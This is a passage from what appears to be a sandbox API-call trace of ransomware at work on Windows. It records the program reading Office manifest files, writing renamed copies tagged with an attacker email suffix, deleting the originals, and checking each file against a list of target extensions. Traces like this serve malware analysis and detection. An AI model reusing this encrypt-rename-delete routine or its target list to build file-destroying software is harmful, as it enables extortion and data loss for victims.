lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x3df20, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x3df20, lpOverlapped=0x0) returned 1 [0146.113] ReadFile (in: hFile=0x1038, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0146.113] WriteFile (in: hFile=0x10c4, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x13e, lpOverlapped=0x0) returned 1 [0146.114] SetEndOfFile (hFile=0x10c4) returned 1 [0146.115] CloseHandle (hObject=0x10c4) returned 1 [0146.124] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0146.125] SetEndOfFile (hFile=0x1038) returned 1 [0146.127] CloseHandle (hObject=0x1038) returned 1 [0146.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0146.128] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 1 [0146.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0146.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0146.128] lstrlenW (lpString=".doc") returned 4 [0146.128] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0146.128] lstrlenW (lpString=".docx") returned 5 [0146.128] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0146.128] lstrlenW (lpString=".pdf") returned 4 [0146.128] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0146.128] lstrlenW (lpString=".xls") returned 4 [0146.128] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0146.128] lstrlenW (lpString=".xlsx") returned 5 [0146.128] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0146.128] lstrlenW (lpString=".ppt") returned 4 [0146.128] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0146.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0146.128] lstrlenW (lpString=".zip") returned 4 [0146.129] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0146.129] lstrlenW (lpString=".rar") returned 4 [0146.129] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0146.129] lstrlenW (lpString=".bz2") returned 4 [0146.129] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0146.129] lstrlenW (lpString=".7z") returned 3 [0146.129] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0146.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0146.129] lstrlenW (lpString=".dbf") returned 4 [0146.129] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0146.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0146.129] lstrlenW (lpString=".1cd") returned 4 [0146.129] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0146.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0146.129] lstrlenW (lpString=".jpg") returned 4 [0146.129] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0146.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0146.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0146.129] lstrlenW (lpString=".doc") returned 4 [0146.129] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0146.129] lstrlenW (lpString=".docx") returned 5 [0146.129] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0146.129] lstrlenW (lpString=".pdf") returned 4 [0146.129] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0146.129] lstrlenW (lpString=".xls") returned 4 [0146.129] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0146.130] lstrlenW (lpString=".xlsx") returned 5 [0146.130] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0146.130] lstrlenW (lpString=".ppt") returned 4 [0146.130] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0146.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0146.130] lstrlenW (lpString=".zip") returned 4 [0146.130] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0146.130] lstrlenW (lpString=".rar") returned 4 [0146.130] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0146.130] lstrlenW (lpString=".bz2") returned 4 [0146.130] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0146.130] lstrlenW (lpString=".7z") returned 3 [0146.130] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0146.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0146.130] lstrlenW (lpString=".dbf") returned 4 [0146.130] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0146.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0146.130] lstrlenW (lpString=".1cd") returned 4 [0146.130] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0146.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0146.130] lstrlenW (lpString=".jpg") returned 4 [0146.130] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0146.130] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0146.131] lstrlenW (lpString="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 53 [0146.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0146.682] GetFileSizeEx (in: hFile=0x10dc, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=1124942) returned 1 [0146.682] CloseHandle (hObject=0x10dc) returned 1 [0146.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0146.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0146.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0146.682] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0146.682] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0146.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0146.683] GetLastError () returned 0x0 [0146.683] ReadFile (in: hFile=0x10dc, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0146.840] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0146.855] ReadFile (in: hFile=0x10dc, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x12a5e, lpOverlapped=0x0) returned 1 [0147.172] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x12a60, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x12a60, lpOverlapped=0x0) returned 1 [0147.176] ReadFile (in: hFile=0x10dc, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0147.176] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x13e, lpOverlapped=0x0) returned 1 [0147.176] SetEndOfFile (hFile=0x103c) returned 1 [0147.625] CloseHandle (hObject=0x103c) returned 1 [0147.645] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.645] SetEndOfFile (hFile=0x10dc) returned 1 [0147.647] CloseHandle (hObject=0x10dc) returned 1 [0147.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0147.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 1 [0147.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0147.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0147.648] lstrlenW (lpString=".doc") returned 4 [0147.648] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.648] lstrlenW (lpString=".docx") returned 5 [0147.648] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.648] lstrlenW (lpString=".pdf") returned 4 [0147.648] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.648] lstrlenW (lpString=".xls") returned 4 [0147.648] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.648] lstrlenW (lpString=".xlsx") returned 5 [0147.648] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.648] lstrlenW (lpString=".ppt") returned 4 [0147.648] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0147.648] lstrlenW (lpString=".zip") returned 4 [0147.648] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.648] lstrlenW (lpString=".rar") returned 4 [0147.648] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.648] lstrlenW (lpString=".bz2") returned 4 [0147.648] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.648] lstrlenW (lpString=".7z") returned 3 [0147.648] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0147.648] lstrlenW (lpString=".dbf") returned 4 [0147.648] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0147.648] lstrlenW (lpString=".1cd") returned 4 [0147.648] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0147.649] lstrlenW (lpString=".jpg") returned 4 [0147.649] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0147.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0147.649] lstrlenW (lpString=".doc") returned 4 [0147.649] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.649] lstrlenW (lpString=".docx") returned 5 [0147.649] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.649] lstrlenW (lpString=".pdf") returned 4 [0147.649] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.649] lstrlenW (lpString=".xls") returned 4 [0147.649] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.649] lstrlenW (lpString=".xlsx") returned 5 [0147.649] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.649] lstrlenW (lpString=".ppt") returned 4 [0147.649] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0147.649] lstrlenW (lpString=".zip") returned 4 [0147.649] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.649] lstrlenW (lpString=".rar") returned 4 [0147.649] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.649] lstrlenW (lpString=".bz2") returned 4 [0147.649] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.649] lstrlenW (lpString=".7z") returned 3 [0147.649] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0147.649] lstrlenW (lpString=".dbf") returned 4 [0147.649] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0147.649] lstrlenW (lpString=".1cd") returned 4 [0147.649] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0147.649] lstrlenW (lpString=".jpg") returned 4 [0147.649] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.650] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0147.650] lstrlenW (lpString="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 53 [0147.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0147.650] GetFileSizeEx (in: hFile=0x10dc, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=1261) returned 1 [0147.650] CloseHandle (hObject=0x10dc) returned 1 [0147.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 0x220 [0147.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0147.651] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.651] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0147.651] GetLastError () returned 0x0 [0147.651] ReadFile (in: hFile=0x10dc, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0147.774] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0147.775] ReadFile (in: hFile=0x10dc, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0147.775] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x13e, lpOverlapped=0x0) returned 1 [0147.775] SetEndOfFile (hFile=0x103c) returned 1 [0147.775] CloseHandle (hObject=0x103c) returned 1 [0147.776] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.776] SetEndOfFile (hFile=0x10dc) returned 1 [0147.777] CloseHandle (hObject=0x10dc) returned 1 [0147.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0147.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 1 [0147.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0147.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0147.778] lstrlenW (lpString=".doc") returned 4 [0147.778] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.778] lstrlenW (lpString=".docx") returned 5 [0147.778] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.778] lstrlenW (lpString=".pdf") returned 4 [0147.778] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.778] lstrlenW (lpString=".xls") returned 4 [0147.778] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.778] lstrlenW (lpString=".xlsx") returned 5 [0147.778] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.778] lstrlenW (lpString=".ppt") returned 4 [0147.778] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0147.778] lstrlenW (lpString=".zip") returned 4 [0147.779] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.779] lstrlenW (lpString=".rar") returned 4 [0147.779] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.779] lstrlenW (lpString=".bz2") returned 4 [0147.779] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.779] lstrlenW (lpString=".7z") returned 3 [0147.779] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0147.779] lstrlenW (lpString=".dbf") returned 4 [0147.779] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0147.779] lstrlenW (lpString=".1cd") returned 4 [0147.779] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0147.779] lstrlenW (lpString=".jpg") returned 4 [0147.779] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0147.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0147.779] lstrlenW (lpString=".doc") returned 4 [0147.779] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.779] lstrlenW (lpString=".docx") returned 5 [0147.779] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.779] lstrlenW (lpString=".pdf") returned 4 [0147.779] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.779] lstrlenW (lpString=".xls") returned 4 [0147.779] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.779] lstrlenW (lpString=".xlsx") returned 5 [0147.779] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.779] lstrlenW (lpString=".ppt") returned 4 [0147.780] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0147.780] lstrlenW (lpString=".zip") returned 4 [0147.780] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.780] lstrlenW (lpString=".rar") returned 4 [0147.780] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.780] lstrlenW (lpString=".bz2") returned 4 [0147.780] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.780] lstrlenW (lpString=".7z") returned 3 [0147.780] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0147.780] lstrlenW (lpString=".dbf") returned 4 [0147.780] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0147.780] lstrlenW (lpString=".1cd") returned 4 [0147.780] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0147.780] lstrlenW (lpString=".jpg") returned 4 [0147.780] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.780] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0147.780] lstrlenW (lpString="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 53 [0147.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0147.781] GetFileSizeEx (in: hFile=0x10dc, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=357349) returned 1 [0147.781] CloseHandle (hObject=0x10dc) returned 1 [0147.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 0x220 [0147.781] GetFileAttributesW 